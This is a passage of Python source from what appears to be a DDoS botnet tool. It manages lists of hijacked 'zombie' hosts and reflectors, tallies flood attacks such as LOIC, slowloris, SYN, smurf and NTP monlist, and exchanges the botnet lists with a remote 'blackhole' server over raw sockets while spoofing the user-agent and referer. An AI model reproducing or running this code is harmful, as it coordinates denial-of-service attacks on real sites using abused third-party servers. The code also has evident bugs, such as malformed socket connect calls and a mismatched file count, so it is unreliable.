  1219. upload_list = self.uploading_list()
  1220. except Exception as e:
  1221. print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
  1222. if DEBUG == True:
  1223. traceback.print_exc()
  1224. return #sys.exit(2)
  1225. # download list of [Zombies] from GitHub server [20/01/2020 OK!]
  1226. if options.download_github:
  1227. try:
  1228. self.banner()
  1229. print("\n[AI] Downloading list of [Zombies] from [GitHub] server ...\n")
  1230. print('='*22 + '\n')
  1231. download_github_list = self.downloading_github_list()
  1232. except Exception as e:
  1233. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1234. return
  1235. # upload list of [Zombies] to GitHub server [20/01/2020 OK!]
  1236. if options.upload_github:
  1237. try:
  1238. self.banner()
  1239. print("\n[AI] Uploading 'zombies' to [GitHub] is simple. Follow the next steps:\n")
  1240. print('='*22 + '\n')
  1241. upload_github_list = self.uploading_github_list()
  1242. except Exception as e:
  1243. print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
  1244. if DEBUG == True:
  1245. traceback.print_exc()
  1246. return #sys.exit(2)
  1247. # starting new zombie thread
  1248. def connect_zombies(self, zombie):
  1249. z=Zombie(self, zombie)
  1250. t = threading.Thread(target=z.connect, name=zombie)
  1251. t.start()
  1252. # single connection handling
  1253. def connect_zombie(self, zombie):
  1254. z=Zombie(self,zombie)
  1255. return z.connect()
  1256. def extract_proxy(self, proxy):
  1257. sep = ":"
  1258. proxy_ip = proxy.rsplit(sep, 1)[0]
  1259. if proxy_ip.startswith('http://'):
  1260. proxy_ip = proxy_ip.replace('http://', '')
  1261. elif proxy_ip.startswith('https://'):
  1262. proxy_ip = proxy_ip.replace('https://', '')
  1263. if proxy_ip == '127.0.0.1': # working by using 'localhost' as http proxy (privoxy, ...)
  1264. proxy_ip = 'localhost'
  1265. proxy_port = proxy.rsplit(sep, 1)[1]
  1266. proxy_url = proxy_ip + ":" + proxy_port # ex: localhost:8118
  1267. return proxy_url
  1268. def proxy_transport(self, proxy):
  1269. proxy_url = self.extract_proxy(proxy)
  1270. proxy = urllib.request.ProxyHandler({'https': proxy_url})
  1271. opener = urllib.request.build_opener(proxy)
  1272. urllib.request.install_opener(opener)
  1273. def check_mothership_chargo(self):
  1274. f = open(self.zombies_file)
  1275. self.zombies = f.readlines()
  1276. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  1277. self.list_zombies = []
  1278. for zombie in self.zombies:
  1279. t = urlparse(zombie)
  1280. name_zombie = t.netloc
  1281. if name_zombie == "":
  1282. name_zombie = zombie
  1283. self.list_zombies.append(name_zombie)
  1284. self.num_zombies = str(len(self.zombies))
  1285. f.close()
  1286. f = open(self.aliens_file)
  1287. self.aliens = f.readlines()
  1288. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  1289. self.list_aliens = []
  1290. for alien in self.aliens:
  1291. t = urlparse(alien)
  1292. name_alien = t.netloc
  1293. if name_alien == "":
  1294. name_alien = alien
  1295. self.list_aliens.append(name_alien)
  1296. self.num_aliens = str(len(self.aliens))
  1297. f.close()
  1298. f = open(self.droids_file)
  1299. self.droids = f.readlines()
  1300. self.droids = [droid.replace('\n', '') for droid in self.droids]
  1301. self.list_droids = []
  1302. for droid in self.droids:
  1303. t = urlparse(droid)
  1304. name_droid = t.netloc
  1305. if name_droid == "":
  1306. name_droid = droid
  1307. self.list_droids.append(name_droid)
  1308. self.num_droids = str(len(self.droids))
  1309. f.close()
  1310. f = open(self.ucavs_file)
  1311. self.ucavs = f.readlines()
  1312. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  1313. self.list_ucavs = []
  1314. for ucav in self.ucavs:
  1315. t = urlparse(ucav)
  1316. name_ucav = t.netloc
  1317. if name_ucav == "":
  1318. name_ucav = ucav
  1319. self.list_ucavs.append(name_ucav)
  1320. self.num_ucavs = str(len(self.ucavs))
  1321. f.close()
  1322. f = open(self.rpcs_file)
  1323. self.rpcs = f.readlines()
  1324. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  1325. self.list_rpcs = []
  1326. for rpc in self.rpcs:
  1327. t = urlparse(rpc)
  1328. name_rpc = t.netloc
  1329. if name_rpc == "":
  1330. name_rpc = rpc
  1331. self.list_rpcs.append(name_rpc)
  1332. self.num_rpcs = str(len(self.rpcs))
  1333. f.close()
  1334. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs))
  1335. return self.total_botnet
  1336. def update_flying_stats(self):
  1337. if not os.path.exists(self.mothership_stats_file) == True: # create data when no stats file (first time used)
  1338. with open(self.mothership_stats_file, "w") as f:
  1339. json.dump({"flying": "0", "missions": "0", "scanner": "0", "transferred": "0", "max_chargo": "0", "completed": "0", "loic": "0", "loris": "0", "ufosyn": "0", "spray": "0", "smurf": "0", "xmas": "0", "nuke": "0", "tachyon": "0", "monlist": "0", "crashed": "0"}, f, indent=4) # starting reset
  1340. stats_json_file = open(self.mothership_stats_file, "r")
  1341. data = json.load(stats_json_file)
  1342. stats_json_file.close()
  1343. aflying = data["flying"]
  1344. aflying = str(int(aflying) + 1) # add new flying time
  1345. data["flying"] = aflying
  1346. stats_json_file = open(self.mothership_stats_file, "w+")
  1347. stats_json_file.write(json.dumps(data))
  1348. stats_json_file.close()
  1349. def update_mothership_stats(self):
  1350. stats_json_file = open(self.mothership_stats_file, "r")
  1351. data = json.load(stats_json_file)
  1352. stats_json_file.close()
  1353. acompleted = data["completed"]
  1354. acompleted = str(int(acompleted) + 1) # add new completed attack
  1355. data["completed"] = acompleted
  1356. stats_json_file = open(self.mothership_stats_file, "w+")
  1357. stats_json_file.write(json.dumps(data))
  1358. stats_json_file.close()
  1359. def update_targets_crashed(self):
  1360. stats_json_file = open(self.mothership_stats_file, "r")
  1361. data = json.load(stats_json_file)
  1362. stats_json_file.close()
  1363. tcrashed = data["crashed"]
  1364. tcrashed = str(int(tcrashed) + 1) # add new crashed target
  1365. data["crashed"] = tcrashed
  1366. stats_json_file = open(self.mothership_stats_file, "w+")
  1367. stats_json_file.write(json.dumps(data))
  1368. stats_json_file.close()
  1369. def update_missions_stats(self):
  1370. stats_json_file = open(self.mothership_stats_file, "r")
  1371. data = json.load(stats_json_file)
  1372. stats_json_file.close()
  1373. missions = data["missions"]
  1374. missions = str(int(missions) + 1) # add new mission target
  1375. data["missions"] = missions
  1376. stats_json_file = open(self.mothership_stats_file, "w+")
  1377. stats_json_file.write(json.dumps(data))
  1378. stats_json_file.close()
  1379. def update_scanner_stats(self, num):
  1380. stats_json_file = open(self.mothership_stats_file, "r")
  1381. data = json.load(stats_json_file)
  1382. stats_json_file.close()
  1383. scanner = data["scanner"]
  1384. scanner = str(int(scanner) + int(num)) # add new zombies found by dorking to mothership stats
  1385. data["scanner"] = scanner
  1386. stats_json_file = open(self.mothership_stats_file, "w+")
  1387. stats_json_file.write(json.dumps(data))
  1388. stats_json_file.close()
  1389. def update_transferred_stats(self, num):
  1390. stats_json_file = open(self.mothership_stats_file, "r")
  1391. data = json.load(stats_json_file)
  1392. stats_json_file.close()
  1393. transferred = data["transferred"]
  1394. transferred = str(int(transferred) + int(num)) # add new zombies found by downloading via blackholes to mothership stats
  1395. data["transferred"] = transferred
  1396. stats_json_file = open(self.mothership_stats_file, "w+")
  1397. stats_json_file.write(json.dumps(data))
  1398. stats_json_file.close()
  1399. def update_max_chargo(self, chargo):
  1400. stats_json_file = open(self.mothership_stats_file, "r")
  1401. data = json.load(stats_json_file)
  1402. stats_json_file.close()
  1403. amax_chargo = data["max_chargo"]
  1404. if int(chargo) > int(amax_chargo): # new max chargo found
  1405. amax_chargo = chargo # add new max chargo
  1406. else:
  1407. amax_chargo = data["max_chargo"]
  1408. data["max_chargo"] = amax_chargo
  1409. stats_json_file = open(self.mothership_stats_file, "w+")
  1410. stats_json_file.write(json.dumps(data))
  1411. stats_json_file.close()
  1412. def update_loic_stats(self):
  1413. stats_json_file = open(self.mothership_stats_file, "r")
  1414. data = json.load(stats_json_file)
  1415. stats_json_file.close()
  1416. aloic = data["loic"]
  1417. aloic = str(int(aloic) + 1) # add new loic attack to recorded stats
  1418. self.total_loic = self.total_loic + 1 # add new loic attack to session stats
  1419. data["loic"] = aloic
  1420. stats_json_file = open(self.mothership_stats_file, "w+")
  1421. stats_json_file.write(json.dumps(data))
  1422. stats_json_file.close()
  1423. def update_loris_stats(self):
  1424. stats_json_file = open(self.mothership_stats_file, "r")
  1425. data = json.load(stats_json_file)
  1426. stats_json_file.close()
  1427. aloris = data["loris"]
  1428. aloris = str(int(aloris) + 1) # add new loris attack to recorded stats
  1429. self.total_loris = self.total_loris + 1 # add new loris attack to session stats
  1430. data["loris"] = aloris
  1431. stats_json_file = open(self.mothership_stats_file, "w+")
  1432. stats_json_file.write(json.dumps(data))
  1433. stats_json_file.close()
  1434. def update_ufosyn_stats(self):
  1435. stats_json_file = open(self.mothership_stats_file, "r")
  1436. data = json.load(stats_json_file)
  1437. stats_json_file.close()
  1438. aufosyn = data["ufosyn"]
  1439. aufosyn = str(int(aufosyn) + 1) # add new ufosyn attack to recorded stats
  1440. self.total_syn = self.total_syn + 1 # add new ufosyn attack to session stats
  1441. data["ufosyn"] = aufosyn
  1442. stats_json_file = open(self.mothership_stats_file, "w+")
  1443. stats_json_file.write(json.dumps(data))
  1444. stats_json_file.close()
  1445. def update_spray_stats(self):
  1446. stats_json_file = open(self.mothership_stats_file, "r")
  1447. data = json.load(stats_json_file)
  1448. stats_json_file.close()
  1449. aspray = data["spray"]
  1450. aspray = str(int(aspray) + 1) # add new spray attack to recorded stats
  1451. self.total_spray = self.total_spray + 1 # add new spray attack to session stats
  1452. data["spray"] = aspray
  1453. stats_json_file = open(self.mothership_stats_file, "w+")
  1454. stats_json_file.write(json.dumps(data))
  1455. stats_json_file.close()
  1456. def update_smurf_stats(self):
  1457. stats_json_file = open(self.mothership_stats_file, "r")
  1458. data = json.load(stats_json_file)
  1459. stats_json_file.close()
  1460. asmurf = data["smurf"]
  1461. asmurf = str(int(asmurf) + 1) # add new smurf attack to recorded stats
  1462. self.total_smurf = self.total_smurf + 1 # add new smurf attack to session stats
  1463. data["smurf"] = asmurf
  1464. stats_json_file = open(self.mothership_stats_file, "w+")
  1465. stats_json_file.write(json.dumps(data))
  1466. stats_json_file.close()
  1467. def update_xmas_stats(self):
  1468. stats_json_file = open(self.mothership_stats_file, "r")
  1469. data = json.load(stats_json_file)
  1470. stats_json_file.close()
  1471. axmas = data["xmas"]
  1472. axmas = str(int(axmas) + 1) # add new xmas attack to recorded stats
  1473. self.total_xmas = self.total_xmas + 1 # add new xmas attack to session stats
  1474. data["xmas"] = axmas
  1475. stats_json_file = open(self.mothership_stats_file, "w+")
  1476. stats_json_file.write(json.dumps(data))
  1477. stats_json_file.close()
  1478. def update_nuke_stats(self):
  1479. stats_json_file = open(self.mothership_stats_file, "r")
  1480. data = json.load(stats_json_file)
  1481. stats_json_file.close()
  1482. anuke = data["nuke"]
  1483. anuke = str(int(anuke) + 1) # add new nuke attack to recorded stats
  1484. self.total_nuke = self.total_nuke + 1 # add new nuke attack to session stats
  1485. data["nuke"] = anuke
  1486. stats_json_file = open(self.mothership_stats_file, "w+")
  1487. stats_json_file.write(json.dumps(data))
  1488. stats_json_file.close()
  1489. def update_tachyon_stats(self):
  1490. stats_json_file = open(self.mothership_stats_file, "r")
  1491. data = json.load(stats_json_file)
  1492. stats_json_file.close()
  1493. atachyon = data["tachyon"]
  1494. atachyon = str(int(atachyon) + 1) # add new tachyon attack to recorded stats
  1495. self.total_tachyon = self.total_tachyon + 1 # add new tachyon attack to session stats
  1496. data["tachyon"] = atachyon
  1497. stats_json_file = open(self.mothership_stats_file, "w+")
  1498. stats_json_file.write(json.dumps(data))
  1499. stats_json_file.close()
  1500. def update_monlist_stats(self):
  1501. stats_json_file = open(self.mothership_stats_file, "r")
  1502. data = json.load(stats_json_file)
  1503. stats_json_file.close()
  1504. amonlist = data["monlist"]
  1505. amonlist = str(int(amonlist) + 1) # add new monlist attack to recorded stats
  1506. self.total_monlist = self.total_monlist + 1 # add new monlist attack to session stats
  1507. data["monlist"] = amonlist
  1508. stats_json_file = open(self.mothership_stats_file, "w+")
  1509. stats_json_file.write(json.dumps(data))
  1510. stats_json_file.close()
  1511. def uploading_list(self):
  1512. from io import BytesIO
  1513. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1514. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1515. abductions = "botnet/abductions.txt.gz"
  1516. troops = "botnet/troops.txt.gz"
  1517. robots = "botnet/robots.txt.gz"
  1518. drones = "botnet/drones.txt.gz"
  1519. reflectors = "botnet/reflectors.txt.gz"
  1520. crystals = "botnet/crystals.txt.gz"
  1521. warps = "botnet/warps.txt.gz"
  1522. if self.options.timeout: # set timeout
  1523. try:
  1524. timeout = int(self.options.timeout)
  1525. except:
  1526. timeout = 5
  1527. else:
  1528. timeout = 5
  1529. if timeout < 1:
  1530. timeout = 5
  1531. try:
  1532. print("[AI] Checking integrity of [Blackhole]: "+self.blackhole+"\n")
  1533. if self.options.forcessl:
  1534. if self.options.proxy: # set proxy
  1535. self.proxy_transport(options.proxy)
  1536. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1537. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1538. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1539. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1540. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1541. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1542. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1543. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1544. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1545. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1546. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  1547. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1548. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  1549. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1550. else:
  1551. if self.options.proxy: # set proxy
  1552. self.proxy_transport(options.proxy)
  1553. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1554. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1555. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1556. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1557. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1558. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1559. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1560. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1561. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1562. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1563. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  1564. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1565. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  1566. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1567. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "":
  1568. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  1569. print('-'*12 + '\n')
  1570. print("[Error] [AI] Unable to uploading list of [Zombies] to this [Blackhole] [Server] -> [Exiting!]\n")
  1571. return
  1572. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  1573. f_in_abductions = gzip.open(BytesIO(abductions_reply), 'rb')
  1574. f_out_abductions = open('botnet/abductions.txt', 'wb')
  1575. f_out_abductions.write(f_in_abductions.read())
  1576. f_in_abductions.close()
  1577. f_out_abductions.close()
  1578. num_zombies = 0
  1579. with open('botnet/abductions.txt') as f:
  1580. for _ in f:
  1581. num_zombies = num_zombies + 1
  1582. print("\n[Info] [Zombies] on [Blackhole]: "+ str(num_zombies))
  1583. f_in_robots = gzip.open(BytesIO(robots_reply), 'rb')
  1584. f_out_robots = open('botnet/robots.txt', 'wb')
  1585. f_out_robots.write(f_in_robots.read())
  1586. f_in_robots.close()
  1587. f_out_robots.close()
  1588. num_robots = 0
  1589. with open('botnet/robots.txt') as f:
  1590. for _ in f:
  1591. num_robots = num_robots + 1
  1592. print("[Info] [Droids] on [Blackhole] : "+ str(num_robots))
  1593. f_in_troops = gzip.open(BytesIO(troops_reply), 'rb')
  1594. f_out_troops = open('botnet/troops.txt', 'wb')
  1595. f_out_troops.write(f_in_troops.read())
  1596. f_in_troops.close()
  1597. f_out_troops.close()
  1598. num_aliens = 0
  1599. with open('botnet/aliens.txt') as f:
  1600. for _ in f:
  1601. num_aliens = num_aliens + 1
  1602. print("[Info] [Aliens] on [Blackhole] : "+ str(num_aliens))
  1603. f_in_drones = gzip.open(BytesIO(drones_reply), 'rb')
  1604. f_out_drones = open('botnet/drones.txt', 'wb')
  1605. f_out_drones.write(f_in_drones.read())
  1606. f_in_drones.close()
  1607. f_out_drones.close()
  1608. num_drones = 0
  1609. with open('botnet/drones.txt') as f:
  1610. for _ in f:
  1611. num_drones = num_drones + 1
  1612. print("[Info] [UCAVs] on [Blackhole] : "+ str(num_drones))
  1613. f_in_reflectors = gzip.open(BytesIO(reflectors_reply), 'rb')
  1614. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  1615. f_out_reflectors.write(f_in_reflectors.read())
  1616. f_in_reflectors.close()
  1617. f_out_reflectors.close()
  1618. num_reflectors = 0
  1619. with open('botnet/reflectors.txt') as f:
  1620. for _ in f:
  1621. num_reflectors = num_reflectors + 1
  1622. print("[Info] [X-RPCs] on [Blackhole] : "+ str(num_reflectors))
  1623. f_in_crystals = gzip.open(BytesIO(crystals_reply), 'rb')
  1624. f_out_crystals = open('botnet/crystals.txt', 'wb')
  1625. f_out_crystals.write(f_in_crystals.read())
  1626. f_in_crystals.close()
  1627. f_out_crystals.close()
  1628. num_crystals = 0
  1629. with open('botnet/crystals.txt') as f:
  1630. for _ in f:
  1631. num_crystals = num_crystals + 1
  1632. print("[Info] [NTPs] on [Blackhole] : "+ str(num_crystals))
  1633. f_in_warps = gzip.open(BytesIO(warps_reply), 'rb')
  1634. f_out_warps = open('botnet/warps.txt', 'wb')
  1635. f_out_warps.write(f_in_warps.read())
  1636. f_in_warps.close()
  1637. f_out_warps.close()
  1638. num_warps = 0
  1639. with open('botnet/warps.txt') as f:
  1640. for _ in f:
  1641. num_warps = num_warps + 1
  1642. print("[Info] [DNSs] on [Blackhole] : "+ str(num_warps))
  1643. print('-'*12 + '\n')
  1644. if not self.options.forceyes:
  1645. update_reply = input("[AI] Do you want to merge ONLY the new [Zombies] into [Blackhole]? (Y/n)")
  1646. print('-'*25)
  1647. else:
  1648. update_reply = "Y"
  1649. if update_reply == "n" or update_reply == "N":
  1650. os.remove('botnet/abductions.txt') # remove abductions file
  1651. os.remove('botnet/troops.txt') # remove troops file
  1652. os.remove('botnet/robots.txt') # remove robots file
  1653. os.remove('botnet/drones.txt') # remove drones file
  1654. os.remove('botnet/reflectors.txt') # remove reflectors file
  1655. os.remove('botnet/crystals.txt') # remove crystals file
  1656. os.remove('botnet/warps.txt') # remove warps file
  1657. print("\n[Info] [AI] [Control] Aborting uploading process and cleaning temporal files... -> [Exiting!]\n")
  1658. return
  1659. else:
  1660. print("\n[AI] Checking integrity of your list of [Zombies] -> [OK!]\n") # only upload valid zombies
  1661. print('='*35)
  1662. zombies = self.extract_zombies()
  1663. if not zombies:
  1664. return
  1665. test = self.testing(zombies)
  1666. zombies_community = []
  1667. zombies_added = 0
  1668. f = open('botnet/abductions.txt')
  1669. abductions = f.readlines()
  1670. abductions = [abduction.strip() for abduction in abductions]
  1671. f.close()
  1672. fz = open(self.zombies_file)
  1673. zombies = fz.readlines()
  1674. zombies = [zombie.strip() for zombie in zombies]
  1675. fz.close()
  1676. for zombie in zombies:
  1677. if zombie not in abductions:
  1678. zombies_community.append(zombie)
  1679. zombies_added = zombies_added + 1
  1680. else:
  1681. pass
  1682. print("[Info] [AI] New [Zombies] found: " + str(zombies_added))
  1683. aliens = self.extract_aliens()
  1684. if not aliens:
  1685. return
  1686. aliens_community = []
  1687. aliens_added = 0
  1688. f = open('botnet/troops.txt')
  1689. troops = f.readlines()
  1690. troops = [troop.strip() for troop in troops]
  1691. f.close()
  1692. fz = open(self.aliens_file)
  1693. aliens = fz.readlines()
  1694. aliens = [alien.strip() for alien in aliens]
  1695. fz.close()
  1696. for alien in aliens:
  1697. if alien not in troops:
  1698. aliens_community.append(alien)
  1699. aliens_added = aliens_added + 1
  1700. else:
  1701. pass
  1702. print("[Info] [AI] New [Aliens] found : " + str(aliens_added))
  1703. droids = self.extract_droids()
  1704. if not droids:
  1705. return
  1706. droids_community = []
  1707. droids_added = 0
  1708. f = open('botnet/robots.txt')
  1709. robots = f.readlines()
  1710. robots = [robot.strip() for robot in robots]
  1711. f.close()
  1712. fz = open(self.droids_file)
  1713. droids = fz.readlines()
  1714. droids = [droid.strip() for droid in droids]
  1715. fz.close()
  1716. for droid in droids:
  1717. if droid not in robots:
  1718. droids_community.append(droid)
  1719. droids_added = droids_added + 1
  1720. else:
  1721. pass
  1722. print("[Info] [AI] New [Droids] found : " + str(droids_added))
  1723. ucavs = self.extract_ucavs()
  1724. if not ucavs:
  1725. return
  1726. ucavs_community = []
  1727. ucavs_added = 0
  1728. f = open('botnet/drones.txt')
  1729. drones = f.readlines()
  1730. drones = [drone.strip() for drone in drones]
  1731. f.close()
  1732. fz = open(self.ucavs_file)
  1733. ucavs = fz.readlines()
  1734. ucavs = [ucav.strip() for ucav in ucavs]
  1735. fz.close()
  1736. for ucav in ucavs:
  1737. if ucav not in drones:
  1738. ucavs_community.append(ucav)
  1739. ucavs_added = ucavs_added + 1
  1740. else:
  1741. pass
  1742. print("[Info] [AI] New [UCAVs] found : " + str(ucavs_added))
  1743. rpcs = self.extract_rpcs()
  1744. if not rpcs:
  1745. return
  1746. rpcs_community = []
  1747. rpcs_added = 0
  1748. f = open('botnet/reflectors.txt')
  1749. reflectors = f.readlines()
  1750. reflectors = [reflector.strip() for reflector in reflectors]
  1751. f.close()
  1752. fz = open(self.rpcs_file)
  1753. rpcs = fz.readlines()
  1754. rpcs = [rpc.strip() for rpc in rpcs]
  1755. fz.close()
  1756. for rpc in rpcs:
  1757. if rpc not in reflectors:
  1758. rpcs_community.append(rpc)
  1759. rpcs_added = rpcs_added + 1
  1760. else:
  1761. pass
  1762. print("[Info] [AI] New [X-RPCs] found : " + str(rpcs_added))
  1763. ntps = self.extract_ntps()
  1764. if not ntps:
  1765. return
  1766. ntps_community = []
  1767. ntps_added = 0
  1768. f = open('botnet/crystals.txt')
  1769. crystals = f.readlines()
  1770. crystals = [crystal.strip() for crystal in crystals]
  1771. f.close()
  1772. fz = open(self.ntps_file)
  1773. ntps = fz.readlines()
  1774. ntps = [ntp.strip() for ntp in ntps]
  1775. fz.close()
  1776. for ntp in ntps:
  1777. if ntp not in crystals:
  1778. ntps_community.append(ntp)
  1779. ntps_added = ntps_added + 1
  1780. else:
  1781. pass
  1782. print("[Info] [AI] New [NTPs] found : " + str(ntps_added))
  1783. dnss = self.extract_dnss()
  1784. if not dnss:
  1785. return
  1786. dnss_community = []
  1787. dnss_added = 0
  1788. f = open('botnet/warps.txt')
  1789. warps = f.readlines()
  1790. warps = [warp.strip() for warp in warps]
  1791. f.close()
  1792. fz = open(self.dnss_file)
  1793. dnss = fz.readlines()
  1794. dnss = [dns.strip() for dns in dnss]
  1795. fz.close()
  1796. for dns in dnss:
  1797. if dns not in warps:
  1798. dnss_community.append(dns)
  1799. dnss_added = dnss_added + 1
  1800. else:
  1801. pass
  1802. print("[Info] [AI] New [DNSs] found : " + str(dnss_added))
  1803. print('-'*12 + '\n')
  1804. if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0 and ntps_added == 0 and dnss_added == 0: # not any zombie
  1805. os.remove('botnet/abductions.txt') # remove abductions file
  1806. os.remove('botnet/troops.txt') # remove troops file
  1807. os.remove('botnet/robots.txt') # remove robots file
  1808. os.remove('botnet/drones.txt') # remove ucavs file
  1809. os.remove('botnet/reflectors.txt') # remove rpcs file
  1810. os.remove('botnet/crystals.txt') # remove crystals file
  1811. os.remove('botnet/warps.txt') # remove warps file
  1812. print("[Info] [AI] Try to search for new [Zombies]. These are already in this [Blackhole] -> [Exiting!]\n")
  1813. return
  1814. else:
  1815. fc = gzip.open('botnet/community_zombies.txt.gz', 'wb')
  1816. for zombie in zombies_community:
  1817. fc.write(zombie.strip()+"\n")
  1818. fc.close()
  1819. os.remove('botnet/abductions.txt') # remove abductions file
  1820. fc = gzip.open('botnet/community_aliens.txt.gz', 'wb')
  1821. for alien in aliens_community:
  1822. fc.write(alien.strip()+"\n")
  1823. fc.close()
  1824. os.remove('botnet/troops.txt') # remove troops file
  1825. fc = gzip.open('botnet/community_droids.txt.gz', 'wb')
  1826. for droid in droids_community:
  1827. fc.write(droid.strip()+"\n")
  1828. fc.close()
  1829. os.remove('botnet/robots.txt') # remove robots file
  1830. fc = gzip.open('botnet/community_ucavs.txt.gz', 'wb')
  1831. for ucav in ucavs_community:
  1832. fc.write(ucav.strip()+"\n")
  1833. fc.close()
  1834. os.remove('botnet/drones.txt') # remove drones file
  1835. fc = gzip.open('botnet/community_rpcs.txt.gz', 'wb')
  1836. for rpc in rpcs_community:
  1837. fc.write(rpc.strip()+"\n")
  1838. fc.close()
  1839. os.remove('botnet/reflectors.txt') # remove reflectors file
  1840. fc = gzip.open('botnet/community_ntps.txt.gz', 'wb')
  1841. for ntp in ntps_community:
  1842. fc.write(ntp.strip()+"\n")
  1843. fc.close()
  1844. os.remove('botnet/crystals.txt') # remove crystals file
  1845. fc = gzip.open('botnet/community_dnss.txt.gz', 'wb')
  1846. for dns in dnss_community:
  1847. fc.write(dns.strip()+"\n")
  1848. fc.close()
  1849. os.remove('botnet/warps.txt') # remove warps file
  1850. print("[Info] [AI] Starting to upload new [Zombies]...\n")
  1851. try: # open a socket and send data to the blackhole reciever port
  1852. host = self.blackhole
  1853. cport = 9991
  1854. mport = 9990
  1855. try:
  1856. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data
  1857. cs.connect(host, cport)
  1858. cs.send("SEND " + 'community_zombies.txt.gz')
  1859. cs.close()
  1860. f = open('botnet/community_zombies.txt.gz', "rb")
  1861. data = f.read()
  1862. f.close()
  1863. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1864. ms.connect(host, mport)
  1865. ms.send(data)
  1866. ms.close()
  1867. os.remove('botnet/community_zombies.txt.gz') # remove local zombies .gz file after transfer
  1868. time.sleep(1)
  1869. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1870. cs.connect(host, cport)
  1871. cs.send("SEND " + 'community_aliens.txt.gz')
  1872. cs.close()
  1873. f = open('botnet/community_aliens.txt.gz', "rb")
  1874. data = f.read()
  1875. f.close()
  1876. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1877. ms.connect(host, mport)
  1878. ms.send(data)
  1879. ms.close()
  1880. os.remove('botnet/community_aliens.txt.gz') # remove local aliens .gz file after transfer
  1881. time.sleep(1)
  1882. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1883. cs.connect(host, cport)
  1884. cs.send("SEND " + 'community_robots.txt.gz')
  1885. cs.close()
  1886. f = open('botnet/community_droids.txt.gz', "rb")
  1887. data = f.read()
  1888. f.close()
  1889. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1890. ms.connect(host, mport)
  1891. ms.send(data)
  1892. ms.close()
  1893. os.remove('botnet/community_droids.txt.gz') # remove local droids .gz file after transfer
  1894. time.sleep(1)
  1895. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1896. cs.connect(host, cport)
  1897. cs.send("SEND " + 'community_ucavs.txt.gz')
  1898. cs.close()
  1899. f = open('botnet/community_ucavs.txt.gz', "rb")
  1900. data = f.read()
  1901. f.close()
  1902. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1903. ms.connect(host, mport)
  1904. ms.send(data)
  1905. ms.close()
  1906. os.remove('botnet/community_ucavs.txt.gz') # remove local ucavs .gz file after transfer
  1907. time.sleep(1)
  1908. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  1909. cs.connect(host, cport)
  1910. cs.send("SEND " + 'community_rpcs.txt.gz')
  1911. cs.close()
  1912. f = open('botnet/community_rpcs.txt.gz', "rb")
  1913. data = f.read()
  1914. f.close()
  1915. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1916. ms.connect(host, mport)
  1917. ms.send(data)
  1918. ms.close()
